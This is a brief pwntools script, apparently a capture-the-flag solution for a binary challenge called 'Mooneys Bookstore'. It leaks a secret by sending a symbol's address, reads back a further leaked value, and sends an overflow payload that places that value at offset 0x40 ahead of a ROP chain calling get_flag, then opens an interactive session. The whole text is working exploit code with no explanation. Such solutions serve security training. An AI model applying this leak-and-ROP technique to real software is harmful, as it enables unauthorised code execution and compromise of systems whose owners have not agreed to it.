Mooneys Bookstore

io = start()

secret_key_addr = exe.sym["secret_key"]

io.sendafter(
    b"Your favorite book waits for you. Tell me its address\n", flat(secret_key_addr)
)

leak = io.recvline().strip().decode()
secret = int(leak, 16)
log.success(f"{hex(secret)=}")

io.sendafter(b"There always is. If you speak it, the story unlocks", flat(secret))

io.recvline()
io.recvline()

secret_val = int(io.recvline().split()[-1], 16)
log.success(f"{hex(secret_val)=}")

rop = ROP(exe)
rop.call(rop.ret)
rop.call("get_flag")

payload = flat(
    {0x40: secret_val, "waaa": rop.chain()},
)

io.sendlineafter(b"Write yourself into this story.\n", payload)
io.interactive()